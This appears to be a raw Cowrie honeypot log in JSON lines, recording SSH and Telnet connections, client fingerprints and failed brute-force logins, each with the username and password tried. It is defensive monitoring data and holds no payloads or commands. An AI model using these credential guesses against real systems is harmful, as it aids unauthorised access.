{"eventid":"cowrie.login.failed","username":"root","password":"debian12","message":"login attempt [root/debian12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:36.066971Z","src_ip":"167.86.88.212","session":"755fd5da9869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:37.163101Z","src_ip":"167.86.88.212","session":"755fd5da9869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":40322,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ae558706ce","protocol":"ssh","message":"New connection: 162.240.20.137:40322 (159.203.135.109:22) [session: 07ae558706ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:44.074273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:44.081492Z","src_ip":"162.240.20.137","session":"07ae558706ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:44.163660Z","src_ip":"162.240.20.137","session":"07ae558706ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"safepal456","message":"login attempt [root/safepal456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:44.416893Z","src_ip":"162.240.20.137","session":"07ae558706ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:45.786782Z","src_ip":"162.240.20.137","session":"07ae558706ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":37846,"dst_ip":"159.203.135.109","dst_port":22,"session":"13cb010049cc","protocol":"ssh","message":"New connection: 223.17.1.118:37846 (159.203.135.109:22) [session: 13cb010049cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:48.298595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:48.302589Z","src_ip":"223.17.1.118","session":"13cb010049cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:48.520278Z","src_ip":"223.17.1.118","session":"13cb010049cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@12345","message":"login attempt [root/cisco@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:49.414274Z","src_ip":"223.17.1.118","session":"13cb010049cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:50.632193Z","src_ip":"223.17.1.118","session":"13cb010049cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":56658,"dst_ip":"10.17.0.5","dst_port":22,"session":"e092775ba556","protocol":"ssh","message":"New connection: 167.172.187.11:56658 (10.17.0.5:22) [session: e092775ba556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:56.161253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:56.165535Z","src_ip":"167.172.187.11","session":"e092775ba556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:56.246918Z","src_ip":"167.172.187.11","session":"e092775ba556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"None","message":"login attempt [root/None] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:56.605483Z","src_ip":"167.172.187.11","session":"e092775ba556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:57.690278Z","src_ip":"167.172.187.11","session":"e092775ba556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33142,"dst_ip":"10.17.0.5","dst_port":22,"session":"188f27c7c210","protocol":"ssh","message":"New connection: 91.92.40.4:33142 (10.17.0.5:22) [session: 188f27c7c210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:04.663373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:04.667421Z","src_ip":"91.92.40.4","session":"188f27c7c210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:04.748672Z","src_ip":"91.92.40.4","session":"188f27c7c210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"321","message":"login attempt [postgres/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:05.001813Z","src_ip":"91.92.40.4","session":"188f27c7c210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:06.086030Z","src_ip":"91.92.40.4","session":"188f27c7c210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":41456,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4e99db66820","protocol":"ssh","message":"New connection: 217.160.226.51:41456 (159.203.135.109:22) [session: d4e99db66820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:08.613358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:08.617160Z","src_ip":"217.160.226.51","session":"d4e99db66820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:08.732547Z","src_ip":"217.160.226.51","session":"d4e99db66820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"password","message":"login attempt [user01/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:09.214389Z","src_ip":"217.160.226.51","session":"d4e99db66820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:10.330703Z","src_ip":"217.160.226.51","session":"d4e99db66820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":53989,"dst_ip":"10.17.0.5","dst_port":22,"session":"adfe9ac47771","protocol":"ssh","message":"New connection: 223.197.186.7:53989 (10.17.0.5:22) [session: adfe9ac47771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:30.755934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:30.759603Z","src_ip":"223.197.186.7","session":"adfe9ac47771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:33.077179Z","src_ip":"223.197.186.7","session":"adfe9ac47771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satanas666","message":"login attempt [root/satanas666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:36.754108Z","src_ip":"223.197.186.7","session":"adfe9ac47771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:43:37.976234Z","src_ip":"223.197.186.7","session":"adfe9ac47771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":37702,"dst_ip":"10.17.0.5","dst_port":22,"session":"78f26da5ce45","protocol":"ssh","message":"New connection: 162.214.159.200:37702 (10.17.0.5:22) [session: 78f26da5ce45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:01.445392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:01.449426Z","src_ip":"162.214.159.200","session":"78f26da5ce45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:01.553432Z","src_ip":"162.214.159.200","session":"78f26da5ce45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harvest","password":"harvest321","message":"login attempt [harvest/harvest321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:01.833729Z","src_ip":"162.214.159.200","session":"78f26da5ce45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:02.925666Z","src_ip":"162.214.159.200","session":"78f26da5ce45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44576,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7daf79bcfd9","protocol":"telnet","message":"New connection: 170.64.224.25:44576 (159.203.135.109:23) [session: c7daf79bcfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:03.062403Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":42834,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9c4b6846fcd","protocol":"ssh","message":"New connection: 144.91.108.61:42834 (10.17.0.5:22) [session: f9c4b6846fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:21.321264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:21.327974Z","src_ip":"144.91.108.61","session":"f9c4b6846fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:21.420943Z","src_ip":"144.91.108.61","session":"f9c4b6846fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nano","password":"nano456","message":"login attempt [nano/nano456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:21.699120Z","src_ip":"144.91.108.61","session":"f9c4b6846fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":42838,"dst_ip":"159.203.135.109","dst_port":22,"session":"89e57ec10f16","protocol":"ssh","message":"New connection: 161.248.201.12:42838 (159.203.135.109:22) [session: 89e57ec10f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:22.020877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:22.023960Z","src_ip":"161.248.201.12","session":"89e57ec10f16","protocol":"ssh"}
